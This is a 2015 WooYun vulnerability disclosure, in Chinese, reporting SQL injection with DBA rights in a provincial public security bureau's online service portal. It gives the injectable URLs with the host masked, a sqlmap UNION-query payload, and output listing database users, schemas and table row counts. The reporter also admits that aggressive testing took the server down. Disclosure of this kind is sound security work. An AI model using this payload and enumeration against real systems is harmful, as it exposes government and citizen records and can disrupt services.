当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0144582

漏洞标题：某省公安厅网上办事大厅某处存在SQL注入（DBA权限+涉及25个数据库+大量数据可泄露）

相关厂商：公安部一所

漏洞作者： 路人甲

提交时间：2015-10-03 09:28

修复时间：2015-11-24 10:28

公开时间：2015-11-24 10:28

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(公安部一所)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-10-03： 细节已通知厂商并且等待厂商处理中
2015-10-10： 厂商已经确认，细节仅向厂商公开
2015-10-20： 细节向核心白帽子及相关领域专家公开
2015-10-30： 细节向普通白帽子公开
2015-11-09： 细节向实习白帽子公开
2015-11-24： 细节向公众公开

简要描述：

某处存在SQL注入，DBA权限。
(如果里面有敏感信息，还请管理员打码！~~~)

详细说明：

首先PS：本来想继续测试另一个注入点，因为看到有注入，想增加level和risk测试，使用--threads 10测试，结果找到测试可能线程太大了
还是那边服务器端口问题，不能访问了，罪过！~~~下次测试还是不这么测试了！~~~
回归正题！~~~
注入点：

**.**.**.**:8000/index_mh.jsp?flag=jj&shixian=2c9086e432753cd101327551fed40006		交警
**.**.**.**:8000/index_mh.jsp?flag=hz&shixian=2c9086e432753cd101327551fed40006		户政
**.**.**.**:8000/index_mh.jsp?flag=crz&shixian=2c9086e432753cd101327551fed40006	出入境
**.**.**.**:8000/index_mh.jsp?flag=za&shixian=2c9086e432753cd101327551fed40006		治安
**.**.**.**:8000/index_mh.jsp?flag=wlaq&shixian=2c9086e432753cd101327551fed40006	网络安全
**.**.**.**:8000/index_mh.jsp?flag=xf&shixian=2c9086e432753cd101327551fed40006		消防


等等，不同的页面其实都是shixian存在注入，DBA权限。

sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: shixian
    Type: UNION query
    Title: Generic UNION query (NULL) - 1 column
    Payload: flag=jj&shixian=-9676' UNION ALL SELECT CHR(113)||CHR(97)||CHR(105)
||CHR(102)||CHR(113)||CHR(71)||CHR(121)||CHR(74)||CHR(75)||CHR(102)||CHR(80)||CH
R(119)||CHR(71)||CHR(100)||CHR(65)||CHR(113)||CHR(104)||CHR(121)||CHR(97)||CHR(1
13) FROM DUAL--
---
[19:13:39] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
[19:13:39] [INFO] fetching current user
[19:13:42] [WARNING] reflective value(s) found and filtering out
[19:13:42] [WARNING] frames detected containing attacked parameter values. Pleas
e be sure to test those separately in case that attack on this page fails
current user:    'WEBOTABASE'
[19:13:42] [INFO] fetching current database
[19:13:42] [WARNING] on Oracle you'll need to use schema names for enumeration a
s the counterpart to database names on other DBMSes
current schema (equivalent to database on Oracle):    'WEBOTABASE'
[19:13:42] [INFO] testing if current user is DBA
current user is DBA:    True


1.jpg


database management system users [35]:
[*] ANONYMOUS
[*] BI
[*] CGS
[*] CTXSYS
[*] DBORACLE
[*] DBSNMP
[*] DIP
[*] DMSYS
[*] EXFSYS
[*] HR
[*] IX
[*] MDDATA
[*] MDSYS
[*] MGMT_VIEW
[*] NOTA
[*] NOTADT
[*] OE
[*] OLAPSYS
[*] ORDPLUGINS
[*] ORDSYS
[*] OUTLN
[*] PM
[*] QS_ERP
[*] SCOTT
[*] SH
[*] SI_INFORMTN_SCHEMA
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TSMSYS
[*] WEBOTA
[*] WEBOTABASE
[*] WMSYS
[*] WSPCS
[*] XDB


available databases [25]:
[*] CGS
[*] CTXSYS
[*] DBSNMP
[*] DMSYS
[*] HR
[*] MDSYS
[*] NOTA
[*] NOTA_TEMP
[*] NOTADT
[*] OE
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] PM
[*] SCOTT
[*] SH
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TSMSYS
[*] WEBOTA
[*] WEBOTABASE
[*] WMSYS
[*] WSPCS
[*] XDB


---------------------------------
以下信息不能泄漏请管理员帮忙打马赛克！~~~

Database: WEBOTABASE
+------------+---------+
| Table      | Entries |
+------------+---------+
| LOG        | 32640   |                3万多记录
| SYSOP_LOG  | 4165    |                4千多操作记录
| STRUCTURE  | 2847    |
| STAFF      | 1497    |                1千多成员
| DEPARTMENT | 1232    |
| ROLERELATE | 252     |
| SYSTEMINFO | 3       |
| MANAGER    | 1       |
+------------+---------+
Database: WEBOTA
+----------------------+---------+
| Table                | Entries |
+----------------------+---------+
| IP_TB                | 106800  |
| LOG_TB               | 3890    |
| INFO_TB              | 3144    |
| MID_CID              | 1223    |
| MANAGER_CHANNEL_TB   | 829     |
| CHANNEL_TB           | 467     |
| WEBFORM              | 427     |
| CHANNELBRIEF_TB      | 183     |
| MANAGER_TB           | 38      |
| TPLT_TB              | 25      |
| ROLE_MODULE_TB       | 21      |
| INFO_FUJIAN_TB       | 20      |
| MODULE_TB            | 12      |
| ANSWER_TB            | 11      |
| STYLE_TB             | 8       |
| TPLT_BACKUP_TB       | 7       |
| PARAM_TB             | 6       |
| ROLE_TB              | 5       |
| VOTE                 | 5       |
| QUESTION_TB          | 4       |
| FILE_TB              | 3       |
| GUANGGAO_TB          | 3       |
| MANAGER_ROLE_TB      | 3       |
| TPLT_SCHEME_TB       | 2       |
| TPLT_TYPE_TB         | 2       |
| WEATHER_TB           | 2       |
| CONFIG_TB            | 1       |
| FILECLASS_TB         | 1       |
| MANAGER_FILECLASS_TB | 1       |
| VIDEO_TB             | 1       |
| WEBCOUNTER_TB        | 1       |
+----------------------+---------+
Database: HR
+------------------------------+---------+
| Table                        | Entries |
+------------------------------+---------+
| EMPLOYEES                    | 107     |
| DEPARTMENTS                  | 27      |
| COUNTRIES                    | 25      |
| LOCATIONS                    | 23      |
| JOBS                         | 19      |
| JOB_HISTORY                  | 10      |
| REGIONS                      | 4       |
+------------------------------+---------+
Database: NOTA
+------------------------------+---------+
| Table                        | Entries |
+------------------------------+---------+
| SERVICE_MESSAGE              | 14284896 |               服务信息一千多万条记录？
| TRIGGER_MESSAGE              | 1378479 |
| CRJ_YW_BZJDJGB               | 978587  |
| PROJECTSMS                   | 141888  |
| CRJ_YW_WSSQ_HGTSQXXB         | 57847   |
| CRJ_YW_WSSQ_TWZJBLB          | 57677   |
| CRJ_YW_WSSQ_GXRB             | 34602   |
| CRJ_YW_WSSQ_JTCYB            | 33178   |
| CRJ_YW_WSSQ_QZBLB            | 29193   |
| APPLY_DOC                    | 21602   |
| JITTASK                      | 18699   |
| CRJ_YW_WSSQ_YYXXB            | 17721   |
| JITTASKINSTANCE              | 15071   |
| JITTRANSITION                | 14922   |
| "CONDITION"                  | 14129   |
| FLOWSARCHIVE                 | 14107   |
| WEBFUJIAN                    | 13065   |
| JITFUJIAN                    | 11657   |
| APPLY_LAWS                   | 8117    |
| WEBPROCESSINSTANCE           | 4461    |
| JITPROCESSDATA               | 4251    |
| JITPROCESSDEFINITION         | 4238    |
| PROTYPE_RELATION             | 3915    |
| SHOULI                       | 3813    |
| WORKDATE                     | 3652    |
| JITPROCESSINSTANCE           | 3386    |
| PROJECTINFO                  | 3271    |
| PROJECTARCHIVES              | 3232    |
| QUJIANTAB                    | 3203    |
| DOCUMENTS                    | 3104    |
| CRJ_YW_SWDWB                 | 2911    |
| CRJ_YW_WSSQ_YQRB             | 1614    |
| LAWS                         | 1210    |
| PROJECTSORT                  | 1060    |
| PROJECTANNEX                 | 826     |
| CRJ_YW_WSSQ_CXSQXXB          | 590     |
| CRJ_YW_WSSQ_BGJZB            | 332     |
| CRJ_YW_BZJDCXB               | 276     |
| PROJECTINFOMB                | 182     |
| DICTIONARY                   | 165     |
| JITVARIABLEDEFINITION        | 108     |
| ADDRESSZD                    | 92      |
| CRJ_YW_WSSQ_CXSQJGB          | 84      |
| HANDUPINFO                   | 74      |
| PROJECTTBL                   | 57      |
| PLAN_TABLE                   | 56      |
| CRJ_YW_WSSQ_WGR_ZJSQB        | 53      |
| CRJ_YW_WSSQ_WGR_QZBL_GR      | 33      |
| JITFUJIAN2                   | 26      |
| CRJ_YW_WSSQ_WGR_XXRB         | 13      |
| JITFORMINFO                  | 12      |
| QJTYPE                       | 11      |
| DEALWRONG                    | 10      |
| PROJECTSMSDEFINITION         | 7       |
| SCORETYPE                    | 5       |
| WEBFORM                      | 4       |
| CHANNEL                      | 3       |
| DUBANPRO                     | 3       |
| QJCLASS                      | 3       |
| TOUSUTYPE                    | 2       |
| WEBARCHIVES                  | 2       |
| WORKTIME_STANDARD            | 1       |
+------------------------------+---------+


2.jpg


数据太多，太大，就不列一一举出来了，只列出几个库的大概数据数量即可，而且是政府网站，不敢深入了！~~~

漏洞证明：

1.jpg


2.jpg

修复方案：

过滤修复！~~~
剩下的明天再测试了！~~~注入测试太多，端口访问不聊了！~~~

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：7

确认时间：2015-10-10 10:26

厂商回复：

感谢提交！！
验证确认所描述的问题，已通知其修复。

最新状态：

暂无